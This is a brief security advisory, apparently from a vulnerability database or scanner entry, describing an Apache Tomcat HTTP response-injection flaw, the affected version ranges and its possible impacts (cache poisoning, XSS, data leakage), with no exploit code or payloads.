1) Description:
Apache Tomcat is prone to a security-bypass vulnerability.
An attacker can exploit this issue to bypass certain security restrictions
and perform unauthorized actions. This may lead to further attacks.
Apache Tomcat 9.0.0.M1 through 9.0.0.M11, 8.5.0 through 8.5.6, 8.0.0.RC1
through 8.0.38, 7.0.0 through 7.0.72 and 6.0.0 through 6.0.47 are
vulnerable.
This could be exploited, in conjunction with a proxy that also permitted
the invalid characters but with a different interpretation, to inject data
into the HTTP response. By manipulating the HTTP response the attacker
could poison a web-cache, perform an XSS attack and/or obtain sensitive
information from requests other then their own.
